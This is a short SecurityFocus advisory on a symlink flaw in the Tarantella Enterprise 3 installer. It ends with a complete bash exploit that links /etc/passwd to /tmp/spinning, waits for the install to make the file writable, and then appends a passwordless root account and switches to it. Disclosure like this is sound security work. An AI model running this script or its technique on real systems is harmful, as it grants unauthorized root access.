Tarantella Enterprise 3 Symbolic Link Vulnerability

                                                source: http://www.securityfocus.com/bid/4115/info

Tarantella Enterprise 3 contains a locally exploitable symbolic link vulnerability during it's installation procedure.

This vulnerability can be exploited to elevate privileges. An attacker anticipating the install of Tarantella could create a symbolic link to any file as '/tmp/spinning'. When the installation utility is run, the file pointed to by the link will be made world writeable.

The attacker may gain root privileges by overwriting a file such as '/etc/passwd'.

#!/bin/bash
#Larry W. Cashdollar  [email protected]
#http://vapid.dhs.org
#Tarantella Enterprise 3 symlink local root Installation exploit
#For educational purposes only.
#tested on Linux.  run and wait.


echo "Creating symlink."

/bin/ln -s /etc/passwd /tmp/spinning

echo "Waiting for tarantella installation."

while true
do
echo -n .
if [ -w /etc/passwd ]
then
        echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
        su - tarexp
        exit
fi
done